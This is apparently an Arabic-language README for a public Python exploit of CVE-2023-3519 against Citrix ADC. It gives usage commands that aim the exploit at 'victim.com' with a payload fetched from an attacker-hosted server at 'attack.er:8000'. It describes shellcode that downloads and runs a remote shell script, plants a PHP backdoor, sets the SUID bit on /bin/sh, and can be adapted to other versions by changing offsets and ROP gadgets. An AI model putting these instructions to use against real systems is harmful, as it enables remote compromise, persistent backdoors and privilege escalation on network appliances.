
استغلال Python لـ CVE-2023-3519 يستهدف Citrix ADC مع shellcode NASM مخصص، ونشر باب خلفي PHP، وتصعيد الامتيازات SUID.
يستخدم هذا الاستغلال عناوين وشيلكود لإصدار Citrix VPX 13.1-48.47. للاطلاع على الشرح الكامل، انقر هنا.
يلزم وجود NASM لبناء الشيلكود.
$ sudo apt install nasm
الشيلكود المضمن سيقوم بتنزيل وتشغيل سكربت شل من خادم http(s) بعيد. يأخذ السكربت 3 وسائط: المضيف الهدف، المنفذ الهدف، وعنوان URL لحمولة سكربت شل. يتضمن هذا المستودع حمولة مثال تقوم بتشغيل id و uname -a قبل التنظيف الذاتي.
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
يجب أن يكون عنوان URL قصيرًا بما يكفي ليتسع في مخزن الشيلكود المؤقت، وستتلقى تحذيرًا إذا كان طويلًا جدًا.
سينشئ الشيلكود بابًا خلفيًا PHP في /var/netscaler/logon/a.php ويضبط بت SUID على /bin/sh. تُظهر حمولة sh المضمنة مثالًا على التنظيف التلقائي لهذه الآثار. لاحظ أيضًا أن الشيلكود لا يغلق واصفات الملفات الخاصة به، لذا قد يؤدي الاستغلال المتكرر المفرط إلى استنزاف الموارد.
بالنسبة لأهداف Citrix المستندة إلى FreeBSD، تحتاج فقط إلى إيجاد 3 قيم: إزاحة مؤشر الإرجاع المحفوظ، وأداة ROP jmp rsp (أو ما يعادلها، مثل push rsp; ret;)، والعنوان الذي يجب القفز إليه لتجنب الانهيار. هذه المعلمات جميعها مشفرة بالقرب من أعلى ملف cve-2023-3519.py.